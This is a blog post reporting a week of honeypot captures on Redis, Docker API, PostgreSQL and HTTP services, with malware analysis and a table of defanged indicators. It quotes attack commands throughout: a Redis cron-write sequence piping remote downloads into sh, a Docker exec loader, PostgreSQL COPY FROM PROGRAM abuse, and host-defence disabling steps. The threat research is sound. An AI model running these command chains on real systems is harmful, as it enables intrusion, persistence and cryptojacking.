I put a deliberately vulnerable-looking honeypot on a small cloud VPS and left it exposed to the public internet. The goal was simple: make it look enough like a messy real environment that bots would show me what they actually do after they find an exposed service.
The honeypot pretended to be several things at once: Redis, Docker Engine API, PostgreSQL, Elasticsearch, SSH, HTTP/HTTPS telemetry panels, and a kubelet-like service. It did not contain real data and it did not execute attacker payloads. Anything that looked like a malware URL was queued to a separate collector, downloaded as inert evidence, hashed, and stored as sample.bin.
Over the first week it recorded 6,131 events from 1,083 unique source IPs. The most targeted services were PostgreSQL, Elasticsearch, raw TCP, Docker API, HTTP, SSH, Redis, HTTPS, and kubelet. That is the boring summary. The interesting part is what the attackers tried to do once the fake services answered.
The headline findings
Three things stood out immediately.
First, the fake Redis service caught full cron-persistence attacks. These were not simple INFO checks. Attackers used CONFIG SET, SAVE, and FLUSHALL to try to make Redis write cron files that would run shell downloaders every few minutes.
Second, the fake Docker API caught repeated libredtail-http exploitation. The bots enumerated containers, created exec objects, and then started those exec objects. The command they wanted to run was the classic disaster pattern: download a remote script and pipe it straight into sh.
Third, an HTTP router-style exploit delivered cat.sh, a tiny shell loader that downloaded fourteen different ELF binaries for different CPU architectures. Those binaries contained a taunt: “Looks like you are a honeypot, this tool was made by t.me/flylegit!”
The Redis attack: turning a database into a cron writer
The most complete attack chain came through Redis. The attacker sent a sequence like this:
COMMAND DOCS
CONFIG SET dbfilename backup.db
SAVE
CONFIG SET stop-writes-on-bgsave-error no
FLUSHALL
SET backup1 "*/2 * * * * cd1 -fsSL hxxp://34.70.205[.]211/.../kworker | sh"
SET backup2 "*/3 * * * * wget -q -O- hxxp://34.70.205[.]211/.../kworker | sh"
SET backup3 "*/4 * * * * curl -fsSL hxxp://38.150.0[.]118/.../kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
CONFIG SET dir /etc/cron.d/
CONFIG SET dbfilename javae
SAVE
In plain English, the bot was trying to use Redis persistence features as an arbitrary file write. If Redis can write to /var/spool/cron/ or /etc/cron.d/, the attacker gets scheduled command execution. The script being scheduled was kworker.
The kworker script: a cloud cryptominer installer in shell form
The kworker sample was 36,273 bytes and appeared 25 times with the same SHA256:
92a71778310bf37cf81c8f42a250ea7b9ed17042b577d90f5d179f90ac1c056a
It starts like a normal shell script, but it quickly becomes a full post-exploitation playbook.
It disables host defenses:
iptables -F
ufw disable
setenforce 0
echo "SELINUX=disabled" > /etc/sysconfig/selinux
service apparmor stop
systemctl disable apparmor
It removes cloud security agents and monitoring tools, especially Alibaba/Tencent-style agents:
AliYunDun
AliHids
AliSecGuard
aegis
YunJing
barad
cloudmonitor
It kills competitors:
xmrig
kinsing
kdevtmpfsi
moneroocean
TeamTNT
watchdogs
httpgd
sustse
cryptonight
It installs persistence with cron jobs, immutable file attributes, and fake kernel-worker-like names:
/etc/javae
/etc/kworker
/tmp/javae
/tmp/kworker
It also writes an attacker SSH public key into authorized_keys, wraps ps/top/pstree to hide its process names, and attempts lateral movement by using /root/.ssh/known_hosts with existing SSH keys.
This was not just a miner. It was a miner installer, cleaner, persistence system, and lateral movement script.
Docker: fake containers, real exploitation logic
The Docker API honeypot produced one of the most satisfying chains because the attacker followed the fake state. The bot asked for containers, selected the fake IDs, created exec objects, and then started those exec objects:
GET /containers/json
POST /containers/<id>/exec
POST /exec/<exec_id>/start
The command looked like this:
(wget --no-check-certificate -qO- hxxps://125.135.169[.]171/sh || curl -sk hxxps://125.135.169[.]171/sh) | sh -s docker.selfrep
The loader selected an execution directory, avoided noexec mounts, downloaded architecture-specific payloads, gave them randomized dotfile names, and executed the matching one. Two variants were collected:
8fdd3ab82e8c40e4262d6ea426cf8668541cc9396c38c438b44951422ef2fa52
6e55b212f06eda7e0993d1302332e20453df87c66987acc3be3206ec9e9ffa6f
The original 204.76.203[.]196/sh endpoint appeared frequently in the logs, but by the time the collector tried to fetch it, it mostly timed out.
The iran.* botnet family
The most fascinating artifact came from an HTTP command injection. The command downloaded cat.sh from 83.168.110[.]191. That script was only 1,901 bytes, but it tried to fetch fourteen architecture-specific binaries:
iran.x86_64
iran.aarch64
iran.m68k
iran.mips
iran.mipsel
iran.powerpc
iran.sparc
iran.sh4
iran.arc
iran.i486
iran.armv4l
iran.armv5l
iran.armv6l
iran.armv7l
Most of the ELF samples shared the same strings:
Looks like you are a honeypot, this tool was made by t.me/flylegit!
t.me/flylegit
83.168.110.191
!update
!kill
udpplain
http
ping
pong %s
They also contained HTTP request templates and fake user agents, which points to DDoS/bot functionality. The x86_64 sample was UPX-packed and had no section header, so its useful strings were hidden, but it came from the same loader and naming scheme.
PostgreSQL: they tried to become superuser
The PostgreSQL honeypot also paid off. Attackers did not only connect; they issued SQL. The most interesting pattern checked for a role named pgg_superadmins, attempted to create it as a superuser, and used COPY ... FROM PROGRAM with base64 shell content. That is a direct attempt to execute OS commands through PostgreSQL once privileges allow it.
Repeated SQL included:
SELECT * FROM pg_catalog.pg_user WHERE usename='pgg_superadmins';
CREATE ROLE pgg_superadmins WITH LOGIN SUPERUSER PASSWORD '<redacted in blog>';
COPY <table> FROM PROGRAM 'echo <base64 shell> ...';
revoke pg_execute_server_program from postgres;
That is a very different signal than a simple port scan.
IOCs
Defanged indicators from this run:
| Indicator | Context |
|---|---|
| hxxp://34.70.205[.]211/plugins-dist/safehtml/lang/font/kworker | Redis cron persistence / kworker dropper |
| hxxp://34.70.205[.]211/plugins-dist/safehtml/lang/font/javae | Second-stage miner candidate |
| hxxp://38.150.0[.]118/dewfhuewr4r89/98hy67//kworker | Redis backup cron downloader |
| hxxps://217.60.241[.]36/sh | Docker loader variant |
| hxxps://125.135.169[.]171/sh | Docker loader variant |
| hxxp://83.168.110[.]191/cat.sh | Multi-arch iran loader |
| 83.168.110[.]191 | Iran/flylegit C2/stager |
| t.me/flylegit | Marker embedded in iran ELF samples |
What I learned
The biggest lesson is that exposed services do not just get “scanned.” If they answer convincingly enough, they get walked through full playbooks.
Redis attackers tried to write cron files. Docker attackers tried to run commands inside containers. PostgreSQL attackers tried to create superusers and use COPY FROM PROGRAM. IoT attackers dropped multi-architecture binaries. The malware itself expected cloud environments, killed security agents, removed competitor miners, installed SSH access, and tried to spread.
Future Work
I’ll keep updating this project as the honeypot collects more malware samples and attack data. I also plan to keep improving the honeypot infrastructure step by step, the core sensor is written in Go, with separate tooling for artifact collection and analysis.
Stay safe, and don’t expose real services to the internet unless you know exactly what you’re doing.
- LinkedIn: https://www.linkedin.com/in/atila-tair/
- GitHub: https://github.com/so1icitx
Top comments (0)